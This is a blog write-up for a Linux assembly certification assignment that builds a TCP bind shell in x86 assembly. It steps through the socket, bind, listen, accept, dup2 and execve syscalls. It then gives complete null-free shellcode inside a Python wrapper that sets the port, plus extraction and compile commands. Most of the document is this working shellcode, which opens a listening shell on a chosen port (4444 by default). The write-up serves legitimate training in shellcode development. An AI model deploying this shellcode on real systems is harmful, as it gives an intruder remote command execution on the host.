SLAE- Assignment #1- Bind Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
SLAE #1488
Author: Aaron Weathersby
Handle: t0b0rx0r
github: https://github.com/t0b0rX0r/slae/tree/master/assignment1
The requirements for this exam assignment were to create a TCP BIND shell within x86 assembly. Additionally ensure that the port was easily configurable. To complete this assignment I first began to research socket connections within linux. After a bit of research I found the following reference documents.
- A C guide to socket usage within Linux
- Linux MAN guide
- Another C based socket guide but with a handy socket diagram
Through the research I identified the following flow towards create a network socket, listening for connections, binding a file descriptor and executing the content.
Having acquired a basic understanding for how a bind shell could work (a server listening on a port executing commands received via STDIN) i went about trying to identify the appropriate system calls that matched to the above diagram.
Initially I attempted to use to use direct socket calls. After some frustration i found that sys_socket calls were a bit my speed. Utilizing the system call resource file (unistd_32.h) i identified the relevant system call socketcall 102.
Additional research identified the net.h file and its available SYS_<socketcall> options.
From there with socket call values identified I proceeded to go through and build a basic assembly application in the following format:
Socket ->Bind->Listen->Accept->Execute(duplicate descriptor->stdin->execute).
To begin I assigned several constants.
%assign AF_INET 2
%assign SYS_SOCKET 1; sys_socket = 1
%assign SOCK_STREAM 1 ; Connection TCP
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
Socket
Here I built the socket connection. First I loaded hex 0x66 to create a socket call. Then using the structure socket (domain, type, protocol), where domain = IP, protocol = TCP, and type = sock_stream (connection oriented protocol). This returns as file descriptor within EAX.
;Socket
xor eax,eax
mov al,0x66 ; syscall - socketcall
mov bl, SYS_SOCKET ; type sys_socket
; socket(domain,type,protocol)
xor edx,edx
push edx ; protocol
push SOCK_STREAM ; type
push AF_INET ; domain 2
mov ecx, esp
int 0x80
mov esi,eax
Bind
Then it was necessary to bind the socket onto a particular port. Note for the raw assembly i bind on port 4444 but using a python wrapper this gets replaced as needed. I first built a struct (variables on a stack with a pointer to them) and then built the actual system call.
;bind
mov al,102
mov bl, SYS_BIND
; bind (sockfd, struct sockaddr * addr, socklen_t addrlen)
; bind (eax [4444,2],??)
; build struct sockaddr
;push AF_INET;
push edx
;push input ;userinput of port bind
push word 0x5c11; port 4444 DEC -> HEX, little endian
push word AF_INET ;
mov ecx,esp
;build bind
push byte 0x10; length ...need to figure out how to calculate
push ecx ; point er to sockaddr
mov edi,esi ; copy fd
push esi ; fd
mov ecx,esp ; make pointer to args into ecx
int 0x80
Listen
In this code section it was necessary to take the socket file descriptor and have it begin listening for input.
;listen
; listen(sockfd,int backlog)
mov esi,edi ; copy fd to esi
mov al, 102
mov bl, SYS_LISTEN ; 4
push edx ; backlog
push esi ; fd =3
mov ecx,esp
int 0x80
Accept
Next, i needed the code to accept an incoming connection on the bound port.
;accept
; accept(sockfd,struct sockaddr,*socklen)
mov al,102
mov bl, SYS_ACCEPT
push edx
push edx
;push 0x3
push esi ; fd=3
mov ecx,esp
int 0x80
Dup
This part took the longest to figure out and realize what needed to take place. Ultimately I ended up reviewing others C examples to realize that the file descriptor needed to be duplicated to use it for STDIN,STDOUT and STDERROR. I opted to create a short look to iterate over a 4 times.
mov bl,al ;return value is in eax, is the new FD! ...had to fix this to make it work
xor ecx,ecx
; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
mov al,0x3f ; dup2 63 system call
int 0x80
inc ecx
cmp cl,0x4
jne builddup
Execute
And finally executing the incoming socket by sending it to a shell.
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx,edx ; move zero
mov al, 0xb
int 0x80
Below is a completed copy of the above code snippets.
To allow for quick use i created a python wrapper to allow for easy modification of the port usage.
import sys
import struct
import binascii
#Author: Aaron Weathersby
#SLAE #1488
#Handle: t0b0x0r
#github:https://github.com/t0b0rX0r/slae/tree/master/assignment1
#Assignment #1- Bind Shell
#created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
def checkport(port):
if len(port) < 10:
print "Port less than 10"
port='0x' + port[2:].zfill(4)
print "Padded: "+port
#sys.exit()
elif len(port) < 100:
print "Port less than 100"
port='0x' + port[2:].zfill(2)
print "Padded: "+port
#sys.exit()
elif len(port) < 1000:
print "Port less than 1000"
port='0x' + port[2:].zfill(1)
print "Padded: "+port
#sys.exit()
return port
def main():
encoded=""
total = len(sys.argv)
port=""
if total != 2:
print "Usage: python slae_assignment_1.py [port]"
else:
port = sys.argv[1]
print "Port: "+port
port = hex(int(port))
print "Port in Hex: "+port
#Pad port incase its less than 4 Digits
port=checkport(port)
port_Bendian=port[0]+""+port[1]+port[4]+port[5]+port[2]+port[3]
be1="\\x"+port_Bendian[2]+port_Bendian[3]
be2="\\x"+port_Bendian[4]+port_Bendian[5]
print "Big Endian: "+be1 +be2
shell=("\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68"+"\x99"+"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\x89\xfe\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x88\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80")
for x in bytearray(shell):
#print "Encoded: "+'\\x%02x'%x#+" X: "+str(x)
#print "\\x99 ="+ str(bytearray("\\x99"))
y='\\x%02x'%x
if y==str(bytearray("\\x99")):
#print "FOund"
encoded+=be2+be1
else:
encoded+='\\x'
encoded+='%02x' % x
print "Paste this into Shellcode.c"
print '"'+encoded+'";'
if __name__== "__main__":
main()
Using objdump i extracted the machine code from the nasm file. Notably through trial and error I was able to remove all \x00 from the file. This was accomplished by substituting 16 bit registry references over 32bit ones (AL vs EAX)
$ objdump -d ./slae-assignment1-bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Though the assembly works without the shellcode.c wrapper i opted to use it to faciliate the python port wrapper
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
I then executed the shellcode.c with sudo rights otherwise lower order ports seemed to have issue being assigned by the OS